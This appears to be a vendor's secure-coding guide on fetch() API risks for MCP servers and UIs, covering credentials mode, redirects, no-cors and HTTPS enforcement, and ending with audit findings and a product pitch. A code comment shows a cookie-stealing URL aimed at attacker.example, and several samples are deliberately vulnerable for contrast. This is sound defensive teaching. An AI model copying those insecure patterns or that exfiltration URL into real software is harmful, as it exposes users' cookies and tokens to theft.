MCP Server Security · fetch() API · CORS · HTTPS
MCP server fetch() API security — service worker interception, credentials mode, redirect following, no-cors opaque responses, and HTTPS-only enforcement for MCP server requests
The Fetch API is the primary network transport for browser-based MCP UIs and for Node.js MCP servers that call external services. Its defaults are not secure for MCP deployments: credentials: 'same-origin' sends cookies to same-origin endpoints but the default behavior for cross-origin MCP endpoints requires explicit configuration; redirect: 'follow' automatically follows redirects including ones that bypass the original auth context; mode: 'no-cors' returns opaque responses that silently hide authentication failures; and fetch() in a browser context is subject to service worker interception unless the worker is absent or the request uses specific cache options.
1. credentials mode and cross-origin MCP endpoints
The credentials option in fetch() controls whether cookies and HTTP authentication headers are sent with the request. The three modes have different security implications for MCP deployments:
| credentials mode | Same-origin behavior | Cross-origin behavior | MCP risk |
|---|---|---|---|
'same-origin' (default) | Sends cookies | Does not send cookies | Safe for same-origin MCP servers; no credentials to cross-origin |
'include' | Sends cookies | Sends cookies (if CORS Access-Control-Allow-Credentials: true) | Dangerous — sends cookies to any MCP endpoint URL, including redirected destinations |
'omit' | No cookies | No cookies | Correct for MCP servers that use Bearer tokens in Authorization header, not cookies |
The danger pattern is credentials: 'include' on a fetch to a URL that comes from tool output or user input. If an MCP tool returns a URL and the UI fetches it with credentials: 'include', the user's cookies are sent to that URL — even if it is an attacker-controlled domain.
// DANGEROUS: credentials: 'include' on a URL from tool output
async function fetchToolOutputUrl(urlFromTool: string) {
// If urlFromTool is 'https://attacker.example/collect?token=' + document.cookie,
// this sends the user's cookies to the attacker
const response = await fetch(urlFromTool, {
credentials: 'include', // DANGEROUS with arbitrary URLs
});
return response.json();
}
// SECURE: use 'omit' for cross-origin fetches; 'same-origin' only for same-origin
async function fetchToolOutputUrl(urlFromTool: string) {
const url = new URL(urlFromTool);
// Validate the URL is on an allowlisted origin
if (!ALLOWED_FETCH_ORIGINS.has(url.origin)) {
throw new Error(`fetch() to untrusted origin blocked: ${url.origin}`);
}
const response = await fetch(urlFromTool, {
credentials: 'omit', // Never send cookies to external MCP endpoints
headers: { 'Authorization': `Bearer ${getSessionToken()}` },
});
return response.json();
}
2. Redirect following and auth bypass
By default, fetch() follows HTTP 301, 302, 303, and 307 redirects automatically with redirect: 'follow'. This is convenient for normal web browsing but dangerous for MCP server calls because:
- The redirect destination is a different URL than the one the client intended to call — it may not be on the same origin as the original request
- Authorization headers (Bearer tokens) are preserved on same-origin redirects but stripped on cross-origin redirects by some browsers (spec behavior is inconsistent)
- Cookies sent with
credentials: 'include'follow the redirect to the new origin - The client code cannot inspect the intermediate response (the 302 itself) when
redirect: 'follow'is set — the finalResponseobject reflects only the last hop
// VULNERABLE: redirect: 'follow' sends auth headers to redirect target
const response = await fetch('https://mcp.example.com/tools/execute', {
method: 'POST',
headers: { 'Authorization': `Bearer ${token}` },
redirect: 'follow', // If MCP server 302s to attacker URL, Bearer token follows
body: JSON.stringify(toolCall),
});
// SECURE: manual redirect handling — inspect 3xx before following
const response = await fetch('https://mcp.example.com/tools/execute', {
method: 'POST',
headers: { 'Authorization': `Bearer ${token}` },
redirect: 'manual', // Returns opaque redirect response; do not follow automatically
body: JSON.stringify(toolCall),
});
if (response.type === 'opaqueredirect') {
// Inspect the redirect — the Location header is not available on opaqueredirect responses
// For MCP servers, a redirect is unexpected; treat as an error
throw new Error(`Unexpected redirect from MCP server: ${response.status}`);
}
if (!response.ok) {
throw new Error(`MCP server error: ${response.status}`);
}
return response.json();
3. no-cors mode and opaque responses
mode: 'no-cors' allows a fetch() to a cross-origin URL without a CORS preflight — but the response is "opaque": response.status is always 0, response.ok is always false, and the body is not readable. It is useful for fire-and-forget analytics pings, but it is actively dangerous for MCP server calls:
// DANGEROUS: no-cors mode for MCP tool calls
const response = await fetch(mcpEndpoint, {
method: 'POST',
mode: 'no-cors', // Always returns opaque response
body: JSON.stringify(toolCall),
});
// response.status === 0 regardless of actual server response
// response.ok === false even on 200 OK
// response.json() throws — body is not readable
// The tool call may have failed with 401 or 500; the client cannot tell
The correct mode for MCP server calls is cors (the default) or same-origin. Configure the MCP server to return proper CORS headers (Access-Control-Allow-Origin with the specific UI origin, not *). Never use no-cors for calls where you need to read the response or detect errors.
4. HTTPS-only enforcement in fetch() calls
Content Security Policy's upgrade-insecure-requests directive and block-all-mixed-content control whether HTTP resources are loaded by the browser in an HTTPS page. But CSP enforcement is on the browser's document security context — it does not apply to service workers' fetch calls or to Node.js server-side fetch() calls.
For MCP servers running on Node.js that make outbound fetch() calls to external services (e.g., to call a third-party API as part of a tool), HTTPS must be enforced in application code, not relied on from the environment:
// MCP server — enforce HTTPS for all outbound fetch() calls
function secureFetch(url: string, options?: RequestInit): Promise<Response> {
const parsedUrl = new URL(url);
if (parsedUrl.protocol !== 'https:') {
throw new Error(
`Insecure outbound fetch() blocked: ${url} uses ${parsedUrl.protocol}. ` +
'All outbound requests from MCP server must use HTTPS.'
);
}
return fetch(url, options);
}
// Replace all bare fetch() calls with secureFetch() in MCP tool handlers
// Or use a global fetch wrapper at startup:
const originalFetch = globalThis.fetch;
globalThis.fetch = (input, init) => {
const url = typeof input === 'string' ? input : (input as Request).url;
if (url.startsWith('http:')) {
throw new Error(`HTTP fetch blocked: ${url}`);
}
return originalFetch(input, init);
};
5. fetch() in service workers vs document context
A fetch() call made from a document page passes through the registered service worker's fetch event handler (if a worker is active). A fetch() made from within the service worker itself does not go through another service worker — it goes directly to the network. This asymmetry means:
- MCP tool calls from the page may be intercepted by a service worker
- Background sync or push notification handlers in service workers make direct network calls not subject to the page's CSP
- The
cacheoption onfetch()does not bypass a service worker — use{ cache: 'no-store' }plus bypassing the service worker cache explicitly
To make a fetch() from a document that bypasses the service worker entirely (useful for auth refresh calls that must not be intercepted), use the Request constructor with cache: 'reload' — but this is not standardized across all browsers. A more reliable approach: the service worker explicitly passes through requests with specific headers (a custom passthrough header that the service worker respects).
SkillAudit findings for fetch() API security
fetch() with credentials: 'include' uses URLs from tool output or user input; user cookies may be sent to attacker-controlled domains. −22 pts
redirect: 'follow' (default) on MCP server calls; a server-side redirect sends auth headers to the redirect target, potentially a different origin than the intended MCP server. −18 pts
mode: 'no-cors' used for MCP tool call fetches; authentication failures (401/403) are indistinguishable from success in the opaque response; error handling is completely broken. −16 pts
fetch() calls to HTTP URLs without HTTPS enforcement; possible MITM on server-side tool calls to third-party APIs. −14 pts
Access-Control-Allow-Origin: * with credentialed requests; or allows credential-bearing requests from any origin. −12 pts
fetch() calls in MCP UI; arbitrary URLs from tool output are fetched without domain validation. −10 pts
SkillAudit scans MCP server and UI source code for unsafe fetch() patterns: credentials: 'include' with dynamic URLs, mode: 'no-cors', unvalidated redirect following, and HTTP-scheme outbound calls. Audit your MCP server →